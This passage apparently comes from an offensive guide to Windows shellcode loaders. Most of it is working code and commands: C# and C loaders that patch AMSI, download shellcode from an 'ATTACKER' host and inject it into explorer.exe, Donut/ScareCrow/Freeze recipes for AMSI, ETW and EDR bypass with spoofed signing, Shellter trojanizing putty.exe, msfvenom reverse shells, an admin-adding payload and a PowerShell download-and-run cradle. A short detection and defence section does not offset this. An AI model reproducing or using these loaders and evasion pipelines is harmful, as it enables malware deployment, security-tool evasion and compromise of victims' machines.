$K::WriteProcessMemory($hProc, $rMem, $sc, $sc.Length, [ref]$writ)
$old   = 0
$K::VirtualProtectEx($hProc, $rMem, $sc.Length, 0x20, [ref]$old)
$tid   = 0
$K::CreateRemoteThread($hProc, [IntPtr]::Zero, 0, $rMem, [IntPtr]::Zero, 0, [ref]$tid)

14. C# / .NET Shellcode Loaders

What it means: C# loaders run as .NET assemblies — injectable via execute-assembly in Cobalt Strike or similar C2 frameworks. No PowerShell involved, so no Script Block Logging. Combine with AMSI bypass and direct syscalls for maximum stealth.


14.1 Basic C# Shellcode Loader (P/Invoke)

using System;
using System.Runtime.InteropServices;

class ShellcodeLoader {
    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);

    [DllImport("kernel32.dll")]
    static extern bool VirtualProtect(IntPtr a, uint s, uint p, out uint o);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, out uint t);

    [DllImport("kernel32.dll")]
    static extern uint WaitForSingleObject(IntPtr h, uint m);

    static byte[] shellcode = new byte[] {
        0x90, 0x90, 0xC3   // placeholder NOP NOP RET
        // Replace with real shellcode
    };

    static void Main(string[] args) {
        // Decrypt shellcode if encrypted
        // for (int i = 0; i < shellcode.Length; i++) shellcode[i] ^= 0x41;

        // Allocate RW
        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length,
            0x3000, 0x04);  // MEM_COMMIT|RESERVE, PAGE_READWRITE

        // Copy
        Marshal.Copy(shellcode, 0, mem, shellcode.Length);

        // RX
        uint oldProt;
        VirtualProtect(mem, (uint)shellcode.Length, 0x20, out oldProt);  // PAGE_EXECUTE_READ

        // Execute
        uint tid;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out tid);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
}

14.2 C# Loader with AMSI Bypass + AES Decrypt + Injection

using System;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.IO;

class AdvancedLoader {
    [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint a, bool b, uint c);
    [DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr h, IntPtr a, byte[] d, uint s, out uint w);
    [DllImport("kernel32.dll")] static extern bool VirtualProtectEx(IntPtr h, IntPtr a, uint s, uint p, out uint o);
    [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr a, uint s, IntPtr f, IntPtr p, uint c, out uint t);
    [DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string n);
    [DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr m, string f);
    [DllImport("kernel32.dll")] static extern bool VirtualProtect(IntPtr a, UIntPtr s, uint p, out uint o);

    // AMSI Patch
    static void PatchAMSI() {
        IntPtr amsi = GetModuleHandle("amsi.dll");
        IntPtr func = GetProcAddress(amsi, "AmsiScanBuffer");
        uint old;
        VirtualProtect(func, (UIntPtr)6, 0x40, out old);
        byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
        Marshal.Copy(patch, 0, func, 6);
        VirtualProtect(func, (UIntPtr)6, old, out old);
    }

    // AES-256-CBC Decrypt
    static byte[] AESDecrypt(byte[] ciphertext, byte[] key, byte[] iv) {
        using (var aes = Aes.Create()) {
            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Mode = CipherMode.CBC;
            aes.Padding = PaddingMode.PKCS7;
            using (var decryptor = aes.CreateDecryptor(key, iv))
            using (var ms = new MemoryStream(ciphertext))
            using (var cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read))
            using (var result = new MemoryStream()) {
                cs.CopyTo(result);
                return result.ToArray();
            }
        }
    }

    static void Main(string[] args) {
        // 1. Patch AMSI
        PatchAMSI();

        // 2. Download encrypted shellcode from C2
        byte[] encShellcode = new WebClient().DownloadData("http://ATTACKER/shell.enc");

        // 3. Decrypt
        byte[] key = new byte[] { /* 32 AES key bytes */ };
        byte[] iv  = new byte[] { /* 16 IV bytes */ };
        byte[] shellcode = AESDecrypt(encShellcode, key, iv);

        // 4. Find target process PID (e.g., explorer.exe)
        uint targetPID = 0;
        foreach (var proc in System.Diagnostics.Process.GetProcessesByName("explorer")) {
            targetPID = (uint)proc.Id;
            break;
        }

        // 5. Inject
        IntPtr hProc = OpenProcess(0x1F0FFF, false, targetPID);
        IntPtr rMem  = VirtualAllocEx(hProc, IntPtr.Zero,
            (uint)shellcode.Length, 0x3000, 0x04);
        uint written;
        WriteProcessMemory(hProc, rMem, shellcode, (uint)shellcode.Length, out written);
        uint oldProt;
        VirtualProtectEx(hProc, rMem, (uint)shellcode.Length, 0x20, out oldProt);
        uint tid;
        CreateRemoteThread(hProc, IntPtr.Zero, 0, rMem, IntPtr.Zero, 0, out tid);

        Console.WriteLine("[+] Injected!");
    }
}
# Compile C# loader:
# Windows (csc.exe):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:loader.exe loader.cs

# Linux (Mono):
mcs loader.cs -out:loader.exe

# Deploy via execute-assembly in Cobalt Strike:
# beacon> execute-assembly C:\Compiled\loader.exe

15. Loader Tooling & Frameworks


15.1 Donut — PE to PIC Shellcode Converter

What it means: Donut converts any .NET assembly, EXE, DLL, or VBScript/JScript into position-independent shellcode. The output shellcode can be injected into any process using any injection technique, bypassing application whitelisting.

GitHub: https://github.com/TheWover/donut

# Install
git clone https://github.com/TheWover/donut
cd donut && make

# Convert a .NET assembly to shellcode
./donut -f SharpHound.exe -a 2 -o shound.bin
# -f  = input file
# -a  = architecture: 1=x86, 2=x64, 3=x86+x64
# -o  = output shellcode file

# Convert with arguments
./donut -f Rubeus.exe -a 2 -p "kerberoast /outfile:out.txt" -o rubeus.bin

# Convert DLL with specific exported function
./donut -f payload.dll -e ExportedFunc -a 2 -o payload.bin

# Convert with AMSI/WLDP bypass built in (!!!)
./donut -f SharpUp.exe -a 2 -b 1 -o sharpup.bin
# -b 1 = bypass AMSI + WLDP (Donut patches both before running payload)

# AMSI bypass options:
# -b 0 = none
# -b 1 = AMSI + WLDP (recommended)
# -b 2 = AMSI only
# -b 3 = WLDP only

# Convert to base64 (for embedding in scripts)
./donut -f Seatbelt.exe -a 2 -o seatbelt.bin -t
# -t = output as base64 text instead of raw binary

# Compression (smaller payload)
./donut -f mimikatz.exe -a 2 -z 2 -o mimi.bin
# -z 2 = LZ4 compression

# HTTP fetch (payload downloads itself at runtime)
./donut -f payload.exe -a 2 -u "http://ATTACKER/payload.exe" -o stager.bin

# Python bindings
pip install donut-shellcode
python3 -c "
import donut
payload = donut.create(file='SharpHound.exe', params='-c All', arch=2, bypass=1)
open('shound.bin','wb').write(payload)
"

15.2 ScareCrow — Loader Generator with EDR Bypass

What it means: ScareCrow generates fully weaponized loaders with built-in EDR bypass techniques — DLL side-loading, ETW patching, AMSI patching, sandbox evasion, and more. It accepts raw shellcode as input.

GitHub: https://github.com/optiv/ScareCrow

# Install
git clone https://github.com/optiv/ScareCrow
cd ScareCrow
go build ScareCrow.go

# Generate loader as EXE
./ScareCrow -I payload.bin -Loader binary -domain microsoft.com -O loader.exe
# -I       = input shellcode file (.bin)
# -Loader  = loader type
# -domain  = domain for code signing cert spoofing
# -O       = output file

# Loader types:
# binary   → standalone .exe
# control  → .cpl (Control Panel applet)
# dll      → .dll side-loadable
# excel    → .xll (Excel add-in)
# msiexec  → .msi package
# wscript  → .js / .vbs

# Generate DLL (side-loaded into legitimate app)
./ScareCrow -I payload.bin -Loader dll -domain microsoft.com -O payload.dll

# With custom process injection target
./ScareCrow -I payload.bin -Loader binary -injection explorer.exe -O loader.exe

# With ETW bypass
./ScareCrow -I payload.bin -Loader binary -etw -O loader.exe

# With domain spoof + sandbox evasion + ETW
./ScareCrow -I payload.bin -Loader binary -domain google.com -sandbox -etw -O safe_loader.exe

# Generate CPL file (useful for phishing via rundll32)
./ScareCrow -I payload.bin -Loader control -domain microsoft.com -O update.cpl
# Execution: control.exe update.cpl

15.3 Freeze — Code Signing + AMSI/ETW Bypass Loader

What it means: Freeze generates loaders with automated AMSI/ETW patching, optional process injection, and code signing (real or spoofed cert). Written in Go.

GitHub: https://github.com/optiv/Freeze

# Install
git clone https://github.com/optiv/Freeze
go build .

# Basic loader generation
./Freeze -I payload.bin -O loader.exe

# With AMSI bypass
./Freeze -I payload.bin -AMSI -O loader.exe

# With ETW bypass
./Freeze -I payload.bin -ETW -O loader.exe

# Full bypass (AMSI + ETW + process injection into notepad.exe)
./Freeze -I payload.bin -AMSI -ETW -process notepad.exe -O loader.exe

# Console application (with a window)
./Freeze -I payload.bin -console -O loader.exe

# Sign with self-signed cert (spoof issuer)
./Freeze -I payload.bin -sign -O loader.exe

# Inject into remote process using API queue (APC)
./Freeze -I payload.bin -injection -O loader.exe

15.4 Donut + ScareCrow Full Pipeline

# Step 1: Generate CS/Sliver shellcode
# (From CS: Attacks → Raw → save as payload.bin)
# OR: msfvenom ... -f raw -o payload.bin

# Step 2: Convert assembly to shellcode via Donut (if using .NET tool)
python3 -c "import donut; open('sc.bin','wb').write(donut.create(file='Rubeus.exe',params='kerberoast',arch=2,bypass=1))"

# Step 3: Wrap in EDR-bypassing loader via ScareCrow
./ScareCrow -I sc.bin -Loader binary -domain microsoft.com -etw -sandbox -O update.exe

# Result: update.exe — looks signed, evades sandbox, patches ETW + AMSI, runs payload

15.5 Shellter — Shellcode Injection into Legit PE

What it means: Shellter injects shellcode into a legitimate Windows PE (like putty.exe) so the infected PE still works normally but also executes shellcode in a new thread. Useful for trojanizing software.

# Kali Linux
sudo apt install shellter
wine shellter

# Or direct:
wine shellter.exe

# Interactive menu:
# A = Automatic mode (inject into PE automatically)
# Enter path to PE: /path/to/putty.exe
# Stealth mode: Y (PE continues to work normally)
# Payload: L (listed)  or  C (custom)
# Select: 1 (meterpreter reverse TCP)
# LHOST: 10.10.10.100
# LPORT: 4444

# Non-interactive (automation):
echo -e "A\n/path/to/putty.exe\nY\nL\n1\n10.10.10.100\n4444" | wine shellter.exe

15.6 msfvenom → Custom Format Reference

# All output formats:
msfvenom --list formats

# Most useful for loaders:

# Raw binary (use with Donut/ScareCrow/custom loaders)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.bin

# C array (paste into C loader)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f c

# C# array (paste into C# loader)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f csharp

# Python bytes (paste into Python loader)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f python

# PowerShell bytes (paste into PS loader)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f ps1

# EXE (pre-wrapped loader — lowest stealth)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe

# DLL (inject via regsvr32/rundll32)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f dll -o shell.dll

16. Staged vs Stageless Loaders

What it means: A critical loader design choice. Staged loaders are small stubs that download the full payload at runtime. Stageless loaders embed the full payload inside the loader file.

STAGED:
  loader.exe (small ~ 300 bytes)
       │
       └──→ HTTP GET http://ATTACKER/payload.bin
                          │
                          └──→ Downloads full shellcode → executes
  Pros: tiny file, payload not embedded, easy to swap payload
  Cons: requires network connectivity, HTTP request visible to FW/IDS

STAGELESS:
  loader.exe (full payload embedded, encrypted)
       │
       └──→ Decrypt payload from embedded bytes → execute in memory
  Pros: works offline, no network request for payload
  Cons: larger file size, payload in binary (encrypted)
// Staged loader (downloads shellcode at runtime):
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")

BYTE* DownloadShellcode(const char* url, DWORD* outLen) {
    HINTERNET hInet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET hConn = InternetOpenUrlA(hInet, url, NULL, 0,
        INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);

    DWORD bufSize = 4096, totalRead = 0, bytesRead;
    BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, bufSize);

    while (InternetReadFile(hConn, buf + totalRead, bufSize - totalRead, &bytesRead) && bytesRead) {
        totalRead += bytesRead;
        if (totalRead + 4096 > bufSize) {
            bufSize *= 2;
            buf = (BYTE*)HeapReAlloc(GetProcessHeap(), 0, buf, bufSize);
        }
    }

    InternetCloseHandle(hConn);
    InternetCloseHandle(hInet);
    *outLen = totalRead;
    return buf;
}

int main(void) {
    DWORD sc_len;
    BYTE* shellcode = DownloadShellcode("http://ATTACKER/payload.bin", &sc_len);

    LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, shellcode, sc_len);
    HeapFree(GetProcessHeap(), 0, shellcode);

    DWORD old;
    VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old);
    ((void(*)())mem)();
    return 0;
}

17. Position-Independent Code (PIC) & Writing Your Own Shellcode

What it means: Real shellcode must be position-independent: it works at any memory address because it doesn't use absolute addresses. It finds Win32 APIs at runtime by walking PEB → InMemoryOrderModuleList → kernel32 → GetProcAddress.

; x64 PIC shellcode skeleton (NASM)
; Walk PEB to find kernel32, then GetProcAddress for WinExec

bits 64

; Find kernel32 base via PEB
xor rax, rax
mov rbx, [gs:rbx+0x60]    ; PEB at GS:[0x60]
mov rbx, [rbx+0x18]       ; PEB->Ldr
mov rbx, [rbx+0x10]       ; Ldr->InMemoryOrderModuleList.Flink (ntdll entry)
mov rbx, [rbx]            ; .Flink (kernel32 entry)
mov rbx, [rbx+0x20]       ; DllBase = kernel32.dll base address
; rbx now = kernel32 base

; Resolve GetProcAddress from kernel32 PE export table
; (full implementation omitted — see msfvenom source or custom shellcode guides)
; Once you have GetProcAddress, use it to get VirtualAlloc, CreateThread, etc.

; Common structure for shellcode that calls WinExec:
; 1. Find kernel32 via PEB walk
; 2. Parse PE Export Directory to find GetProcAddress
; 3. Use GetProcAddress to get VirtualAlloc, WinExec, ExitProcess
; 4. Push "cmd.exe" string onto stack
; 5. Call WinExec
; 6. Call ExitProcess
# Generate shellcode with msfvenom for a custom payload:
# exec payload — runs a specific command
msfvenom -p windows/x64/exec CMD="net user hacker P@ss123! /add && net localgroup administrators hacker /add" \
  -f raw -o adduser.bin

# Or use pwntools (Python):
from pwn import *
context.arch = 'amd64'
# Simple shellcode that runs calc.exe (for testing)
sc = shellcraft.amd64.windows.exec('calc.exe')
print(asm(sc).hex())

18. Detection & Defense

What EDRs Look For

STATIC ANALYSIS (pre-execution):
→ Raw shellcode byte signatures in binary
→ Known msfvenom/CS payload patterns
→ Suspicious API imports: VirtualAlloc, WriteProcessMemory, CreateRemoteThread
→ String signatures: "AmsiScanBuffer", "amsiInitFailed"
→ High entropy sections (encrypted/compressed payload)
→ Unsigned PE / invalid cert chain

DYNAMIC / BEHAVIORAL (during execution):
→ VirtualAlloc(PAGE_EXECUTE_READWRITE) — RWX allocation
→ VirtualAlloc → WriteProcessMemory → CreateRemoteThread chain (classic injection)
→ OpenProcess(PROCESS_ALL_ACCESS) on another process
→ Memory scan: executable region not backed by any file on disk (anonymous RWX)
→ syscall from outside ntdll.dll address range (direct syscall detection)
→ EtwEventWrite returning immediately (ETW patched)
→ AmsiScanBuffer returning E_INVALIDARG (AMSI patched)
→ Process hollowing: NtUnmapViewOfSection followed by write to image base

EDR HOOKS:
→ ntdll hooks: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory
→ ntdll hooks: NtCreateThreadEx, NtOpenProcess
→ Kernel callbacks: PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine
→ Image load callbacks: PsSetLoadImageNotifyRoutine

Defender Mitigations

Host-based:
✔ Enable Attack Surface Reduction (ASR) rules
✔ Enable Windows Defender Credential Guard
✔ Enable Memory Integrity (HVCI) — prevents kernel driver patching
✔ Deploy EDR with kernel-level monitoring (CrowdStrike, SentinelOne, Defender for Endpoint)
✔ Enable PPL (Protected Process Light) for AV/EDR processes
✔ Monitor for VirtualAlloc with MEM_EXECUTE flag in non-whitelisted processes
✔ Scan anonymous executable memory regions (not backed by disk file)
✔ Enforce Code Integrity policy — block unsigned executables

Network:
✔ Inspect HTTPS traffic (SSL inspection) for beaconing patterns
✔ DNS sinkholing — catch staged payload DNS C2
✔ Web proxy with threat intelligence feeds
✔ Anomalous outbound connections from non-browser processes

Logging:
✔ Sysmon EventID 10 (ProcessAccess — OpenProcess calls)
✔ Sysmon EventID 8  (CreateRemoteThread)
✔ Sysmon EventID 25 (ProcessTampering — hollowing)
✔ ETW Microsoft-Windows-Threat-Intelligence provider
✔ Windows Defender EventID 1116/1117 (malware detected/remediated)
✔ PowerShell ScriptBlock Logging (Event ID 4104)

19. Complete Cheat Sheet

Injection Technique Selection Guide

TARGET: Current process, basic evasion
→ VirtualAlloc(RW) → copy → VirtualProtect(RX) → function call / fiber / callback

TARGET: Remote process, medium opsec
→ OpenProcess → VirtualAllocEx(RW) → WriteProcessMemory → VirtualProtectEx(RX) → APC (early bird)

TARGET: Remote process, high opsec
→ Direct syscalls (SysWhispers3) → NtOpenProcess → NtAllocateVirtualMemory(RW)
→ NtWriteVirtualMemory → NtProtectVirtualMemory(RX) → NtCreateThreadEx

TARGET: Stealth memory (avoid anonymous pages)
→ Module Stomping: LoadLibrary(sacrificial.dll) → VirtualProtect(.text, RW)
→ memcpy shellcode into .text → VirtualProtect(RX) → call

TARGET: No CreateThread at all
→ EnumWindows / timer callback / fiber → Callback-based execution

TARGET: Anti-analysis / sandbox
→ Sleep timing check + CPU/RAM + domain check + cursor check
→ If sandbox detected → exit or perform benign action

PAYLOAD FORMAT:
.NET EXE/DLL     → Donut → raw shellcode → any injection method
Raw shellcode    → encrypt (AES/XOR) → embed in loader → ScareCrow/Freeze to wrap
Meterpreter      → msfvenom -f raw → custom loader with injection

OPSEC Tier:
LOW:    Raw msfvenom EXE
MED:    Custom loader + XOR + CreateThread injection
HIGH:   AES encrypted + syscalls + module stomping + AMSI/ETW patch
MAX:    Indirect syscalls + callback execution + PPID spoof + sandbox evasion

Quick Command Reference

# ─── GENERATE SHELLCODE ───
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=IP LPORT=443 -f raw -o shell.bin
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=IP LPORT=443 -f csharp       # C# bytes
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=IP LPORT=443 -f ps1          # PS bytes

# ─── ENCRYPT SHELLCODE ───
# XOR (Python):
python3 -c "key=0x41;d=open('shell.bin','rb').read();open('shell.enc','wb').write(bytes(b^key for b in d))"
# AES (Python with pycryptodome):
python3 -c "
from Crypto.Cipher import AES;from Crypto.Util.Padding import pad;import os
k=os.urandom(32);iv=os.urandom(16);d=open('shell.bin','rb').read()
enc=AES.new(k,AES.MODE_CBC,iv).encrypt(pad(d,16))
open('shell.enc','wb').write(enc);print('Key:',k.hex());print('IV:',iv.hex())
"

# ─── CONVERT PE TO SHELLCODE ───
donut -f Rubeus.exe -p "kerberoast" -a 2 -b 1 -o rubeus.bin   # Donut (AMSI bypass built-in!)
donut -f SharpHound.exe -p "-c All" -a 2 -b 1 -z 2 -o shound.bin  # + LZ4 compression

# ─── WRAP IN EDR-BYPASSING LOADER ───
./ScareCrow -I shell.bin -Loader binary -domain microsoft.com -etw -sandbox -O loader.exe
./Freeze -I shell.bin -AMSI -ETW -process notepad.exe -O loader.exe

# ─── COMPILE C LOADER ───
x86_64-w64-mingw32-gcc loader.c -o loader.exe -mwindows    # no console window
x86_64-w64-mingw32-gcc loader.c -o loader.exe -Wall

# ─── COMPILE C# LOADER ───
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:loader.exe loader.cs
mcs loader.cs -out:loader.exe  # Linux (Mono)

# ─── GENERATE SYSCALL STUBS ───
python3 SysWhispers2/syswhispers.py \
  --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
  --output syscalls

# ─── SHELLTER (Trojanize legit PE) ───
wine shellter.exe
# Interactive: A → target.exe → Y (stealth) → L → 1 → LHOST → LPORT

# ─── INJECT SHELLCODE (PowerShell) ───
# See Section 13 for full PS loader
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/loader.ps1')

# ─── INJECT VIA EXECUTE-ASSEMBLY (Cobalt Strike) ───
beacon> execute-assembly /opt/Loaders/ShellcodeLoader.exe
beacon> execute-assembly /opt/Donut/rubeus.bin
LAYER 1 (Payload):
  → Encrypt shellcode with AES-256-CBC
  → OR encode as UUID/MAC/IPv4 array

LAYER 2 (Execution):
  → Use direct/indirect syscalls (SysWhispers2/3)
  → Avoid VirtualAlloc/CreateThread Win32 APIs
  → Use callback-based or fiber execution

LAYER 3 (Injection):
  → Inject into a legitimate process (svchost, explorer)
  → Use Early Bird APC or Module Stomping
  → Spoof parent PID

LAYER 4 (In-process):
  → Patch AMSI (AmsiScanBuffer patch)
  → Patch ETW (EtwEventWrite patch)

LAYER 5 (Loader Binary):
  → Sign with ScareCrow / Freeze (code signing spoof)
  → Sandbox evasion: sleep check, CPU/RAM check, cursor movement

LAYER 6 (Delivery):
  → Embed shellcode in legitimate-looking file format
  → DLL side-load into legit app
  → Macro document / HTA / LNK / ISO delivery

Key GitHub Repos

Tool URL Purpose
Donut github.com/TheWover/donut PE → PIC shellcode
ScareCrow github.com/optiv/ScareCrow EDR-bypassing loader gen
Freeze github.com/optiv/Freeze Loader + AMSI/ETW bypass
SysWhispers2 github.com/jthuraisamy/SysWhispers2 Syscall stub gen
SysWhispers3 github.com/klezVirus/SysWhispers3 Syscall stub gen (newer)
HellsGate github.com/am0nsec/HellsGate Dynamic syscall # resolve
ReflectiveDLL github.com/stephenfewer/ReflectiveDLLInjection Reflective injection
PowerSploit github.com/PowerShellMafia/PowerSploit Invoke-ReflectivePEInjection
SharpSploit github.com/cobbr/SharpSploit .NET post-ex framework
Shellter github.com/lattera/shellter PE trojanizer
SharpCollection github.com/Flangvik/SharpCollection Prebuilt C# tools

← Malware development top ↑